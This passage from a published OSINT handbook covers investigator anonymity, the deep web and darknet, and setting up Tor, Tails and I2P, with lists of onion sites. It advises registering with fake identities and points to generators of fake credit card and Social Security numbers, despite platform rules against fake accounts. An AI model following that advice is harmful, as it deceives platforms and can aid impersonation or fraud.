create reports based on it. Dradis CE Dradis CE (https://dradisframework.com/ce/) is an open source reporting and collaboration tool for InfoSec professionals; it allows you to combine the output of different tools like Burp, Nessus, Nmap, and Qualys to create a single report for a specific case. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 91 Bookmarking When working on collecting OSINT sources, you will encounter a large sum of useful online resources. To handle this large volume of data, you need a method or tool to organize your favorite web pages. All web browsers have a built-in feature to organize favorites; we already recommended Firefox as a preferred web browser for conducting OSINT searches. The built-in bookmarking organizer associated with Firefox is enough to organize your work. However, it is preferable to use it efficiently by associating your bookmarks (see Figure 2-29) with tags and grouping related bookmarks in one folder. Firefox also gives you the ability to export your bookmarks to an HTML file so that you can import this HTML file into another browser later. To export your bookmarks in Firefox, select Bookmarks ➤ Show All Bookmarks ➤ Import and Backup ➤ Export Bookmarks to HTML. Figure 2-29. Organizing Firefox favorites There are plenty of online bookmarking managers; however, we found storing bookmarks using online services is not a good thing for the secrecy of the OSINT investigation. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 92 Free Translation Services During your OSINT searches, you will encounter useful resources in other languages that you do not understand—for example, Arabic. Online instant translation services offer a great aid to understand these foreign resources to add them to your case data. The following are some free translation services: • Google Translate (https://translate.google.com) • Bing Translator (https://www.bing.com/translator) • Babylon’s Free Online Translation (http://translation.babylon- software.com) • Systranet (www.systranet.com/web) Final Tips Finally, we want to give you some tips for you to follow before you begin your online OSINT research. Use a False Identity to Register on Some Websites While you are conducting your OSINT searches, some websites may require you to register or create a free account to use its service or to access some sections. Make sure not to use your real personal information; you should also have a specialized e-mail address (preferably on Gmail) for this issue with fake information. The same thing applies when opening fake accounts on Facebook, Twitter, Instagram, and other social networks to conduct your OSINT searches. Warning! Some social sites prohibit creating fake accounts; it is always advisable to read the rules before you sign up. However, for people working in the intelligence arena, it is unlikely that they will obey such terms! CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 93 A fake identity generator can generate everything you need to become a new digital citizen. This includes phone, website, e-mail, username, password, account security questions, fake credit card and Social Security numbers, occupation, company, physical traits, and more. Here is a list of the most popular identity generation websites: • www.fakenamegenerator.com • https://names.igopaygo.com/people/fake-person • www.elfqrin.com/fakeid.php Be Anonymous Enable your VPN service—or simply use the Tor Browser—before you begin your OSINT search. If you are not using Tor, make sure to use a virtual machine that has a freshly installed web browser within it to collect online resources. Make sure that your VPN connection is enabled for all applications installed on your machine including your virtual machine instance. Destroy Your Digital Traces Upon Finishing Use virtual machines and browse the Web using Firefox incognito mode. Make sure to use tools such as BleachBit (https://www.bleachbit.org) to wipe clean your applications’ digital traces in addition to any remnants left on hard drive. Use Linux Many powerful OSINT tools work on Linux-based systems. These tools are available on Kali Linux (the successor of Backtrack), although many of these tools have been imported into Windows. You can download Kali from https://www.kali.org and install it on a virtual machine. Mastering the Kali Linux distribution is essential for any penetration tester and digital forensic investigator. Kali comes equipped with a plethora of out-of-the-box security tools. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 94 Summary In this chapter, we prepared the stage before you begin your OSINT search. We talked about different online threats and how you can counter them through security software as well as best practices when using computing devices. We covered some OS-hardening tips focusing on Windows as it is still considered to have the largest user base worldwide. We talked about how online tracking works technically by listing its types and gave countermeasures to prevent outsiders from tracking your online activities. Then we moved on to talking about secure online browsing; we gave hardening tips for the Firefox browser as well as useful privacy add-ons. Using VPN to encrypt online traffic is important for any Internet user; we briefly described the concept of a VPN and proxy server and then gave important hints on how to use them safely to avoid leaking your real IP address without your knowledge even though you are using a VPN service. The anonymity section is essential before conducting OSINT searches; you should not do any OSINT search without activating an anonymity service or a VPN. We talked about using the Tor Browser to surf the Web anonymously. For people who live in extremely hostile environments, using the Tails OS—which directs all your Internet traffic through the Tor anonymity network—is strongly advisable. Virtualization technology comes in handy when you want to test other applications or you want simply to cover your digital traces on the host machine. Virtual machines also help you to lower your digital footprint when conducting your research online as you can use a standard OS and web browser installation to make your search and finally delete the entire OS in one click. This was a long chapter full of advice on how to deal with today’s online threats. Understanding online threats, countermeasures, and how to become anonymous online is essential before beginning your work to harvest OSINT resources online. The rest of the chapters in this book are dedicated to OSINT search techniques. In the next chapter, we will delve beneath the surface of the ordinary Internet to explore the hidden underground Internet, known as the deep web. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 95 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_3 CHAPTER 3 The Underground Internet How well do you know the Internet? Being a regular Facebook, Twitter, and Instagram user and knowing how to use Google to find stuff online will not make you a super Internet user because you are just scratching the surface of the Web. Most web content is hidden and needs special methods to access it. According to Internet World Stats, the number of Internet users in the world on June 30, 2017, has reached 3,885,567,619. (The world’s population is 7,519,028,970 people.i) This is a huge number, and it is predicted to increase to 4 billion Internet users by 2020. Most Internet users worldwide are using the surface web—also known as the ordinary Internet. Only a tiny percentage of Internet users use the other hidden layers of the Internet on a daily basis or have even heard about them! In August 2017, the total number of live websites belonging to the surface web was 1,800,566,882,ii while the estimated number of Tor websites on the darknet from March 2016 to March 2017 was about 50,000 to 60,000. Despite the huge number of websites within the surface web, Their contents -which can be indexed by typical search engines- constitutes only 4 percent of the whole Web, while the rest belongs to the deep web portion (which includes the darknet). In this chapter, we will introduce you to the terms deep web and dark web. Both terms are used to point to the part of Internet that is hidden from an ordinary Internet user’s sight and cannot be indexed by typical search engines. Deep web contents can be accessed using the regular HTTP/HTTPS protocol and typical web browsers; however, this is not the same for the darknet, which needs special software to access its contents. Before beginning our discussion, let’s first differentiate between the three terms— surface, deep, and dark Internet. 96 Layers of the Internet Let’s begin with the ordinary Internet or the surface web. This is the portion of the Web that includes all the contents that are readily available to the public. Websites on the surface web can be indexed using regular search engines such as Google so a user can find them easily. Search engine providers use software known as web crawlers to discover publicly available web pages. Crawlers work by clicking hyperlinks inside pages and then sending these pages (results) to search engine servers that organize the results in a search index. The search index contains hundreds of billions of indexed pages. Finally, a user submits a search query, and the search engine responds by ranking pages that match the user query and returning an ordered list (see Figure 3-1). Figure 3-1. How search engines index websites (source: www.darknessgate.com) Note! If you want to understand how search engines index websites, Google offers a simple tutorial describing this issue. You can find it at https://www. google.com/search/howsearchworks/. As of November 2017, Google is aware of about 130 trillion pages. The numbers change continually because of the fast-changing nature of the Web. ChApTer 3 The UNderGroUNd INTerNeT 97 As mentioned, search engine web crawlers discover new pages through clicking links. However, this method is not perfect, and a vast volume of data will remain unindexed as search engines crawlers cannot reach them through web crawlers. As an example, say you want to know the Canadian dollar exchange rate in the year 2000. There are many websites that offer currency exchange rates over time. So, for this example, you go to the www.xe.com website to see the Canadian exchange rate in the year 2000. But wait, there is a problem here. If you want to act as a regular search engine crawler, you can only click hyperlinks! But this will not give you the result you need. However, if you act as a human and went to the search form at www.xe.com/currencytables and entered the specific search date (2000/01/01) and clicked the Submit button, then the website would retrieve the historical result from its database and present it to you (see Figure 3-2). This result cannot be fetched using conventional search engines because it requires you to use a search box on the website and enter a search query to retrieve it. The fetched result is a clear example of deep web content. ChApTer 3 The UNderGroUNd INTerNeT 98 Many Internet users—and even some experts—use the terms deep web and darknet synonymously, but there is a difference between them. The term deep web describes all the online resources that are not indexed using conventional search engines such as Google, Bing, or Yahoo, but the deep web can still be accessed like any regular website using the standard HTTP/HTTPS web protocol and typical web browsers without using any special software. Any Internet user has certainly used some type of deep web while browsing the Internet; however, most users may not know that such resources belong to the deep web. Deep web resources are usually buried within databases accessible to online public view, but the user needs to type a query (for example, into a web search form) or use a Figure 3-2. Historical data extracted from a website’s database is an example of deep web data ChApTer 3 The UNderGroUNd INTerNeT 99 drop-down menu to set some search values to retrieve the contents of these databases. This is what makes its contents hidden; it cannot be seen by typical search engines because it cannot be accessed through hyperlinks. The same thing applies to websites that require registration (username and password) to access content and websites that are purposefully designed to keep search crawlers out. Encrypted networks and websites that require payment to view content also fall under the category of the deep web. No one can know the accurate volume of deep web websites because of the ever-changing nature of web content, but many studies suggest that it is approximately 500 times that of the surface web. Here are some examples of major deep web websites: • The Library of Congress (https://www.loc.gov) This is the largest national library in the world, it includes a huge collections of resources -like books, photographs, newspapers archive, maps and manuscripts- in different topics. • Vital Records (www.vitalrec.com) gives access to U.S. birth certificates, death records, and marriage licenses. • Science.gov (https://www.science.gov) gives access to more than 200 million pages of authoritative federal science information. • Alexa (https://www.alexa.com) gives detailed analytical information about websites. • Directory of Open Access Journals (https://doaj.org) gives access to high-quality, open-access, peer-reviewed journals. • The Online Books Page (http://onlinebooks.library.upenn.edu) gives free access to more than two million books that are accessible (and readable) on the Internet. As you already saw, finding content on the deep web is not a straightforward task for a typical user, and most of the valuable deep web contents must be extracted manually. However, there are many approaches to simplifying this task: • Specialized search engines: This includes any search engine that helps you locate deep web content within one subject or more. The following are some examples: a. https://www.doi.org helps you to resolve the digital object identifier (DOI) of any publication. ChApTer 3 The UNderGroUNd INTerNeT 100 b. https://www.100searchengines.com contains specialized search engines for almost any topic online. It allows you to search multiple search engines at the same time (although searching multiple search engines at the same time may omit some results because not all search engines use the same mechanism to fetch data from their index). c. https://books.google.com/?hl=en is one of the biggest deep web databases that contains millions of books. Google includes results from this database when conducting regular searches. d. www.academicindex.net is a scholarly academic search engine accessing only a selected set of websites that are specialized in academic and research papers. e. https://www.truthfinder.com searches social media, photos, police records, background checks, contact information, and more. The result will be fetched from TruthFinder’s database of deep web sources. • Web directories: A directory is a website that shows a list of websites organized into categories. A user enters a search query, and the directory gives the user the relative subjects to the entered query. Each subject may contain hundreds and even thousands of websites that fall into that category. To browse a directory, a user selects the topic and then moves down from the broadest to the narrowest. Some directories are paid, while others are free and maintained by a community of volunteer editors. Web directories are smaller than search engines as they are maintained by humans, unlike search engines, which are mainly maintained by spiders (web crawlers). The following are some famous web directories: a. https://www.hotfrog.com.au is the largest online business directory; it lists 120 million businesses in 38 countries. b. www.akama.com is a U.S. business directory. c. http://vlib.org is the WWW Virtual Library. d. http://dmoztools.net closed in March 2017. It is still considered the largest web directory online. ChApTer 3 The UNderGroUNd INTerNeT 101 • Internet of Things (IoT) search engines: The term Internet of Things is used to describe any device that can connect to the Internet and can collect and exchange data. The list of devices includes routers, servers, traffic lights, cell phones, coffee makers, washing machines, headphones, lamps, wearable devices such as watches, security systems including alarms, Wi-Fi cameras, baby monitors, smart refrigerators, smart TV sets, smart air-conditioning systems that can adjust the heat remotely, and almost anything else you can imagine that can be connected to the Internet and controlled remotely. Shodan (https:// www.shodan.io) is a sophisticated search engine that specializes in searching Internet-connected devices through finding where they are located and who is using them. Shodan collects data mostly on these ports: HTTP (80), FTP (21), SSH (22), Telnet (23), and SNMP (161). Shodan allows both individuals and corporations to secure their IoT devices by discovering which one is vulnerable to outside attack or misconfiguration (for example, still uses the default manufacturer username and password). This search engine can be used effectively to find information about active IoT devices worldwide. Now, we have reached to the third layer of the Web. This is the deepest one and called the darknet. The darknet—or dark web—is an online resource that has been designed purposefully to be hidden and anonymous. The darknet forms a small part of the deep web, but unlike the deep web, this one cannot be accessed using typical web browsers. It needs special software to access it such as Tor (short for The Onion Router). Darknet—or anonymity—networks are composed of collections of computers spread all over the world that form a decentralized web. These anonymity networks form collectively what is known as the darknet. Users can access these networks to surf the Web anonymously or to visit the anonymous hidden websites within these networks. Individuals get to the darknet for various purposes, and a significant number of them are unlawful. While there are no accurate statistics on the quantity of illicit sites (called Tor services or hidden services on the Tor Network), the Intelliagg group in 2015 reviewed more than 1,000 samples of Tor hidden services and found that 68 percent of Tor darknet contents are unlawful.iii Criminals are not only visiting the darknet to look for illegal products but are utilizing it as a medium to anonymize their online correspondences and keep others from following them when utilizing the surface web. Still, even though most darknet websites are associated with illegal activities, many people utilize it for ChApTer 3 The UNderGroUNd INTerNeT 102 legitimate purposes (for example, using a Tor Browser to conceal a user IP and machine digital footprint when surfing the ordinary Internet). There are different anonymity networks. The following are the most popular: • Tor Network (https://www.torproject.org/index.html.en) • I2P network (https://geti2p.net/en/) • Freenet (https://freenetproject.org/index.html) As you already saw, deep web resources can be found by searching for them within target websites or by using specialized search engines, directories, and other online paid services that offer access to nonfree contents (such as gray literature). The same thing does not apply to the darknet. As an OSINT analyst, you need to understand where to start your darknet investigations and how to access and search within the darknet. OSINT investigators usually use darknet networks—especially the Tor Network—to browse the surface web anonymously. This will effectively help them to conceal their online activities from outside observers (see Figure 3-3). The rest of this chapter will explore what the darknet is and how to access and exploit its resources. Figure 3-3. Internet layers (source: www.DarknessGate.com) ChApTer 3 The UNderGroUNd INTerNeT 103 Darknet Users Darknet has a bad reputation for being the preferred place for malicious actors to conduct their criminal activities online. The following are some bad actors: • Drug dealers exploit the anonymity feature of the darknet to conduct their illegal sales safely. • Arm dealers use the darknet for illegal buying and selling of weapons. • People buy false government papers (such as passports and national IDs). • Black hat hackers use it to download and share exploit tools; sell ready- to- launch distributed denial-of-service (DDoS) attacks, ransomware, and security exploits; and offer espionage services to customers. • Terrorists use the darknet to share information and trade unlawful goods in addition to concealing their activities on the surface web. • Gambling and betting websites are on the darknet. • Sellers of stolen information—such as corporate secrets, credit card numbers, and the personal information of people obtained during fraudulent activities—use the darknet to sell their stolen information to interested parties. Even though many darknet sites are directed toward criminal activities, there are many legal uses for the darknet. Some of these include the following: • Human rights activists, journalists, and whistleblowers use it to reveal secret contents to the public without uncovering their identity. • Privacy advocates use the darknet anonymously away from governments and corporate surveillance. • Law enforcement uses the darknet for different purposes (e.g., tracking criminals and collecting information about them). • Individuals, governments, and corporations use anonymity networks as a secure medium to exchange top-secret information. ChApTer 3 The UNderGroUNd INTerNeT 104 • Intelligence services and military organizations use the darknet to gather open source intelligence information and to counter terrorism activities. • Business corporations may monitor darknet forums and blogs to see their own leaked proprietary information. Maybe you wonder how traders do their business anonymously on the darknet. The answer is simple. Every dark website accepts payment via bitcoins. We already covered the concept of cryptocurrency in Chapter 2; bitcoin (https://www.bitcoin.com) is the most popular one and can be used to conduct online money transactions anonymously. Accessing the Darknet The Tor Network is the most popular anonymous network in the world, so we will focus on it in this chapter to describe the darknet. However, before we begin, remember the essential precautionary steps upon accessing the darknet. Note! Although accessing the Tor Network is considered legal in most countries, its usage can arouse suspicion with the law. And some countries consider accessing the Tor Network as an illegal practice that can lead to questions by authorities. A rule by the U.S. Supreme Court gives permission to the FBI to search and seize any computer around the world that is found using the Tor Network or even a VpN service.iv Make sure to read the section on how to conceal your Tor usage in the previous chapter. Security Checks When Accessing the Darknet Chapter 2 was dedicated entirely to personal cybersecurity; however, it is worth remembering the following main points before accessing the darknet (detailed descriptions on how each precaution works technically are available in the previous chapter): • Make your entry to the Tor Network hidden by using pluggable transports, custom bridges, or a VPN before starting your Tor Browser. ChApTer 3 The UNderGroUNd INTerNeT 105 • Cover your webcam and microphone. • Prepare your anonymous e-mail (like the Protonmail.com service) or use a free disposal e-mail service. • Generate a false digital identity in case you need to register at some websites to access some locked contents. Make sure not to use any personal details that relate to you. • Make sure that your Tor Browser is up-to-date to avoid leaking your real IP address—the Tor Browser will warn users to update it upon launch in case it becomes outdated. • Make sure that your OS and antivirus software are up-to-date. The presence of a dedicated anti-malware software is highly recommended. • Disable JavaScript on your Tor Browser by activating the NoScript add-on that comes preinstalled with the Tor Browser (see Figure 3-4). Figure 3-4. Disabling JavaScript on all websites before accessing the dark web • It is advisable to change your online identity and hence the IP address for each visited site on the dark web, as in Figure 3-5. Selecting the New Identity option will require restarting the Tor Browser and lose the current session. ChApTer 3 The UNderGroUNd INTerNeT 106 • Do not download anything from the darknet to your computer, especially software and pirated media such as songs and movies. • Be suspicious before clicking any hyperlink because you do not know who operates darknet websites and the destination that such links will take you to. Accessing the Darknet from Within the Surface Web Some websites offer a functionality to access the Tor hidden websites (hidden services) from within the surface web—using regular browsers—without using the Tor Browser or Tor software. The following list shows some websites that connect Internet users to content hosted inside the Tor Network. Bear in mind that accessing the darknet in this way does not guarantee that you can surf it as you would do with the Tor Browser. This method is more convenient—for a casual user—to surf the Tor Network easily. However, you will lose the anonymity that Internet users seek when using the Tor Browser in addition to making your browsing history susceptible to interception. • Not Evil (https://hss3uro2hsxfogfq.onion.to) • Tor2web (https://tor2web.org) • Torchtorsearch (www.torchtorsearch.com) Warning! If you want to access the darknet (Tor Network) from within regular web browsers using proxy websites, make sure to encrypt your connection first using a VpN. Figure 3-5. Changing the Tor Browser identity for each visited site on the darknet ChApTer 3 The UNderGroUNd INTerNeT 107 Using Tor We already covered how the Tor Network works in Chapter 2; however, we will give you a brief description of how data flow works within this network. Tor sends user requests across many relays (also known as a server or router); usually, at least three relays are used. The entire connection within these relays is encrypted. The first relay establishes the user connection to the Tor Network. This relay knows your current location, so it is advisable to use a VPN connection first to mask this or to use custom bridges/pluggable transports to mask your entry to the Tor Network from your ISP/government or any other outside adversary. The second relay knows that the data is coming from the first relay, the third relay knows that the data is coming from the second rely, and so on. The last relay—also known as the exit relay—cannot know the origin of the data. Tor relays do not record any activity pass through them, and all connections within these relays are totally encrypted. However, the weakest link resides on the last relay— the exit relay—as this relay can intercept data flowing through it if it is not already encrypted. There are some cases when this relay got comprised by intruders to unmask Tor users and to sniff their unencrypted traffic. To mitigate the risk of someone intercepting your data at the exit relay, you should encrypt everything before sending it across the Tor Network. The Tor Browser comes with an add-on named HTTPS Everywhere (https://www.eff.org/https-everywhere) that forces your browser to encrypt your communication transparently—with major websites using the SSL protocol. Websites hosted on the Tor Network end with the .onion extension. Unlike normal web addresses that end with .com or .net, Tor websites can be accessed only through the Tor Browser. To access the Tor Network, all you need to do is to download and use the Tor Browser; you can always download the latest version from https://www.torproject. org/download/download. Download the version that matches your current OS and then launch the browser. The Tor Browser is a hardened version of Firefox that comes occupied with the Tor software to enable transparent access to the Tor Network. The Tor Browser can also be used to browse the public Internet. ChApTer 3 The UNderGroUNd INTerNeT 108 If you do not know where to start after launching the Tor Browser, go to the hidden wiki (see Figure 3-6) at http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page. This site provides a directory of the most active darknet websites organized into categories. Bear in mind that some websites may not work instantly; however, this does not mean the darknet is offline. Many websites run for specific number of hours daily, so return and visit later. Figure 3-6. The hidden wiki—beginner entry to the darknet Tor was primarily created to allow users to access regular (surface) Internet anonymously. This fact is considered a disadvantage for it when compared with other anonymity networks (like I2P, which was created as a stand-alone network within the ordinary Internet). For instance, the ability of a global adversary—with good resources— to monitor Tor exit relays (where data leaves Tor to the surface Internet) can reveal the identity of Tor users if their activities have been successfully correlated to their entrance to the Tor Network (the first relay). To overcome this shortcut, Tor allows its users to have their own hidden websites that no one can track. As mentioned, websites hosted on the ChApTer 3 The UNderGroUNd INTerNeT 109 Tor Network are known as Tor services or hidden services and have the .onion extension. These sites are accessible only from within the Tor Network. Actually, you can run your own using your home computer, but you must know how to avoid revealing your true identity. Tor offers instruction on how to configure your hidden website at https://www. torproject.org/docs/tor-hidden-service.html.en. The collection of Tor hidden websites is part of what is known as the darknet; indeed, the most popular sites within the darknet belong to the Tor Network. Finally, a major drawback with the Tor Network is speed. Tor is notoriously slow. This because the traffic needs to go through no less than three relays before reaching the destination. Tor will slow down even more when a large number of users are using it simultaneously. Using the Tails OS In extremely hostile environments where there is a high risk of intercepting communications by outside adversaries, it is highly recommended to use the Tails OS for your top-secret communication and offline work. In this section, we will cover how to use this OS in some detail, showing you how to use it in both online mode and offline mode (offline mode allows you to create and read documents in a secure environment). As we said in the previous chapter, Tails is a Debian GNU/Linux security-hardened OS that routes all network connections through the Tor Network. It comes equipped with many applications that are preconfigured with security in mind like the Tor Browser, secure IM chat, encrypted e-mail client, and encryption software in addition to its productivity applications like the Office suite. Tails is a portable OS that runs from within a USB or CD/DVD and loads directly into the host machine’s RAM memory; it leaves no traces on the host machine’s hard disk. Upon shutdown, Tails will delete all user files, unless explicitly asked not to. Tails can be configured to allow a user to store personal documents and program settings (persistent storage). To install the Tails OS on your USB drive, follow these steps: 1. Download Tails from https://tails.boum.org. ChApTer 3 The UNderGroUNd INTerNeT 110 Warning! Before you create the live Tails dVd/USB/Sd card, you should check the integrity of the ISo image you have downloaded to ensure your copy of the Tails file is genuine. Always download Tails from its official website (https:// tails.boum.org/install/index.en.html). do not download the Tails ISo image from any other mirrored location. 2. Download the Universal USB Installer from https://www. pendrivelinux.com/universal-usb-installer-easy-as-1-2-3. This tool is used to install Tails into a USB stick drive. 3. Configure the Universal USB Installer as shown in Figure 3-7. You should have a USB drive with 8GB of free storage. Finally, click the Create button. Figure 3-7. Installing Tails on a USB stick drive ChApTer 3 The UNderGroUNd INTerNeT 111 4. Change the boot sequence of the host computer to start from the USB zip drive. Each computer manufacturer has its own method to access the BIOS/UEFI; consult its website or computer manual. 5. Plug in your Tails USB stick and restart your host machine to start Tails. If Tails boots successfully, select the first option from the menu Tails to boot into the system (see Figure 3-8). Figure 3-8. Tails boot screen 6. When the Tails Greeter screen appears (this window allows you to select your language preference and keyboard layout), click the Start Tails button to access the Tails desktop. Upon starting, Tails needs little configurations because everything is already set to work through the Tor Network (see Figure 3-9). All you need to do is to configure your Wi-Fi by entering the access point password; if you are connecting through a cable, no configuration is needed. ChApTer 3 The UNderGroUNd INTerNeT 112 You just installed Tails in read-only mode—also known as an intermediary. In this mode of installation, you will not benefit from important features such as automatic security upgrades or the ability to store some of your documents and configurations in encrypted storage. In the coming section, we will show you how to install Tails in a persistent storage mode so you can keep your program settings, bookmarks, stored documents, and notes while conducting your OSINT search activities. To install Tails as persistent storage, you will need another USB stick with 8GB of free storage. Of course, if you are planning to store large files, use a higher-capacity USB drive. 1. Plug the second USB stick into the computer while the Tails OS is still running. 2. Go to Applications ➤ Tails ➤ Tails Installer to start the Tails Installer. 3. When Tails Installer launches, select the “Install by cloning” option. 4. Select the second USB drive in the Target Device drop-down list and then click Install Tails (see Figure 3-10). Figure 3-9. Tails desktop showing the Tor Browser launched ChApTer 3 The UNderGroUNd INTerNeT 113 5. A warning message appears informing you that all data on the selected drive will get lost. Confirm your action, and Tails will begin the installation process, which may last for about three minutes. Now, to access the new Tails, restart your machine while leaving the second USB stick plugged in—you should remove the first one. Start Tails as you did before. To save some of your documents and configurations in an encrypted storage on the final Tails USB stick, you need to create an encrypted persistent storage. Follow these steps to create such storage. This storage will occupy the remaining space on your Tails stick drive. 1. Go to Application ➤ Tails ➤ Configure persistent volume. Select a passphrase to protect your encrypted data within the persistent storage. 2. Click the Create button to begin. 3. Upon finishing, Tails will ask what kind of files you want to store on the persistent volume. We recommend selecting Personal Data, Network Connection, GnuPG, and Browser Bookmarks. Figure 3-10. Select the target USB stick where you want to install Tails with persistent storage ChApTer 3 The UNderGroUNd INTerNeT 114 4. Click the Save button, and Tails will reboot. 5. This time, the Tails Greeter screen will ask you whether you want to use persistent storage. Click Yes and then enter your passphrase. 6. You can now save your working documents in the Persistent folder. To open the Persistent folder, go to Places ➤ Persistent. Warning! remember two points when working on persistent storage. • persistent storage is not hidden; if someone captures your Tails USB stick, they will be able to read it. • The persistent storage folder can be opened in another oS; make sure to open it on a trusted secure computer to avoid compromising the Tails security. Tails can be used in offline mode without an Internet connection if you want to read or create sensitive documents. To start Tails in offline mode, launch Tails. When you reach the Tails Greeter screen, in the Welcome to Tails window, click the Yes button. Then click the Forward button to enter advanced startup. The advanced startup window appears. Go to the bottom of the window and click the “Disable all networking” button. Then click the Login button. Warning When Using the Tails OS Tails is an excellent anonymous OS that uses the Tor anonymity network by default, but to stay completely anonymous when using this OS, you must be aware of any threats or attacks against the Tails OS that may result in your privacy being invaded while using it. • Tails does not protect you against hardware-based attacks: Hardware keyloggers and other malicious software that infect the host computer firmware can intercept your communications stealthily even though you are using Tails. ChApTer 3 The UNderGroUNd INTerNeT 115 • Encrypt everything before sending it through Tor: As we mentioned previously, the Tor Network is an anonymous network. The link between Tor relays —within the network—is encrypted. However, once your data leaves the Tor Network, nothing is encrypted. Tails also does not encrypt your data by default before sending it through the Tor Network, but it offers ready tools for this task, and you should consider using them. • Tails does not clear a digital file’s metadata by default: As mentioned in Chapter 2, metadata exists within most digital file types. Make sure to clear the metadata of digital files—images, Office files, videos— before sending them online to avoid revealing your identity. • If you are using Tails and live in an extremely hostile environment, you should take extra care when working online by separating your online identity into many identities: For example, use separate identities when you want to perform multiple actions online such as uploading a post to your blog, checking your e-mail, and replying to comments on a specific blog or website. To remain anonymous in such cases, you should restart Tails after doing each task previously mentioned. This will effectively make tracking you by a global adversary with great resources extremely difficult. As an OSINT investigator, it is highly recommended to practice using the Tails OS and the Tor Browser before conducting your online investigations. Searching the Tor Network You will not find much useful information—similar to the surface Internet—when searching the darknet (Tor Network). This network is mostly directed toward illegal activities, and some websites may not always be available. However, it can still contain useful resources that can aid you in your online investigation. In this section, we will mention popular useful hidden services that can help you to find useful resources in the Tor Network. Here are some search engines: • Ahmia (http://msydqstlz2kzerdg.onion/) • Candle (http://gjobqjj7wyczbqie.onion/) ChApTer 3 The UNderGroUNd INTerNeT 116 • Torch (http://xmh57jrzrnw6insl.onion/) • Grams (http://grams7enufi7jmdl.onion/) • not Evil (http://hss3uro2hsxfogfq.onion/) • DuckDuckGo (https://3g2upl4pq6kufc4m.onion/) • Searx (http://lqdnpadpys4snom2.onion) These sites are bitcoin-related: • EasyCoin (http://easycoinsayj7p5l.onion/) • WeBuyBitcoins (http://jzn5w5pac26sqef4.onion/) • OnionWallet (http://ow24et3tetp6tvmk.onion/) Here are some social networks: • Atlayo (http://atlayofke5rqhsma.onion/) • BlackBook (http://blkbook3fxhcsn3u.onion/) • Daniel’s Chat (http://danschatjr7qbwip.onion) Here are some Tor e-mail services: • Onion Mail (http://p6x47b547s2fkmj3.onion/) • RetroShare chat server (http://chat7zlxojqcf3nv.onion/) • TorBox (http://torbox3uiot6wchz.onion/) • Mail2Tor (http://mail2tor2zyjdctd.onion/) Other Anonymity Networks Other anonymity networks perform similar roles as the Tor Network. The second most popular anonymity network is I2P, covered next. ChApTer 3 The UNderGroUNd INTerNeT 117 I2P I2P stands for the Invisible Internet Project; it was first released in 2003. It is an anonymity network like Tor, but it differs from it in many aspects, as you are going to see next. Before explaining how to use this network to access the darknet, we’ll first explain briefly the technical side of this network. I2P is a decentralized peer-to-peer (also called client, node, or router) network built using the Java programming language. I2P allows you to host websites and access the darknet of I2P websites (also known as deepsites, which have an .i2P extension). It offers a wide range of applications such as anonymous web hosting, BitTorrent, e-mail, file sharing, and much more. In the I2P network, the communication between sender and destination—within the I2P network—is completely encrypted. Traffic usually passes through four layers of encryption before reaching the destination. Using I2P Now, we’ll begin explaining how to access the I2P network. Note! To run I2p on your computer, you must have Java already installed on your machine because I2p is written using the Java programming language. You can download Java from https://www.java.com/en/download/index.jsp. 1. Go to https://geti2p.net and download the software version that matches your current OS. 2. After installing the software (I2P router), click the “Start I2P (restartable)” icon, which will bring up the router console using your default browser, which has further instructions to configure this network. If the router console does not pop up automatically, go to http://127.0.0.1:7657/home to view it. 3. It may take several minutes before I2P connects successfully to the network; a message labeled “Network OK” (see Figure 3-11) should appear on the router console. If another error message appears instead of it (such as “Network: Firewalled”), you need to check your firewall settings to allow a connection to I2P ports. We cannot ChApTer 3 The UNderGroUNd INTerNeT 118 describe the reasons /proposed solutions for all possible problems. You can always copy the error message and Google it to find the appropriate solution. Running I2P inside a virtual machine without installing a firewall is another option for non-tech- savvy users. Figure 3-11. I2P router console view—“Network OK” 4. Now you need to configure your web browser to use the I2P network. We will describe how to do this for Firefox; other browsers use similar configurations. 5. Open Firefox Options ➤ General ➤ Network Proxy (located at the bottom of the page) and click the Settings button. 6. In the Connection Settings window, click the circle next to “Manual proxy configuration.” Then enter 127.0.0.1 in the HTTP Proxy field and 4444 in the Port field. Enter 127.0.0.1 in the SSL Proxy field and 4445 in the Port field. Be sure to enter localhost, 127.0.0.1 into the “No Proxy for” box. Finally, click the OK button to accept the new settings (see Figure 3-12). ChApTer 3 The UNderGroUNd INTerNeT 119 Warning! Unlike Tor, I2p does not provide a mechanism to hide your entry to the I2p network from your ISp and government. however, once the connection is established, everything will become completely encrypted and anonymous. I2p doesn’t go through Tor. The previous configuration of Firefox allows you to use the normal Internet anonymously. In the same way, you can access any website hosted on the I2P anonymous network (such websites have a .i2p extension instead of .com or .org). Figure 3-12. Configure Firefox to use the I2P anonymity network ChApTer 3 The UNderGroUNd INTerNeT 120 After successfully connecting to the I2P network and configuring your browser properly to use it, you can begin discovering this network. If you are stuck and do not know where to start, point your browser to the I2P wiki at http://i2pwiki.i2p. When you first visit an I2P website, you may receive an error message stating “Website Not Found in Addressbook” because you do not have any I2P website addresses in your router address book. To solve this problem, you need to click one of the jump service links at the end of the page (see Figure 3-13). Figure 3-13. Accessing an I2P website for the first time—the visited website was not found in your router’s address book Try to click each jump service link (boxed in Figure 3-13) until you find one that takes you to the page that allows you to add this website to the I2P router address book (see Figure 3-14). ChApTer 3 The UNderGroUNd INTerNeT 121 After clicking “Save & continue” in the section “Save {Website Name} to router address book and continue to website,” the page shown in Figure 3-15 will redirect you to the intended website (ELGOOG.I2P in this example). Figure 3-14. Adding a new I2P website that has not been visited before to your router address book. The next time you visit this website, you will not see this message. Figure 3-15. Redirecting you automatically to the requested website after adding the website hostname to your router address book ChApTer 3 The UNderGroUNd INTerNeT 122 I2P vs. Tor The main difference between Tor and I2P is how their designers perceived the threat model. For instance, Tor was primarily created to allow users to surf the surface web anonymously. I2P was created as a stand-alone anonymity network that enables fully anonymous communication between two parties within its network. Tor uses a circuit-switching method to drive its data through the Tor Network, while I2P uses the packet-switching model. Circuit switching was originally invented for voice communication, and it was less suitable for data transmission. Tor uses a single path for data transmission, while I2P uses packet switching, which makes all peers participate in forwarding packets across the network. Unlike Tor, I2P uses two routes 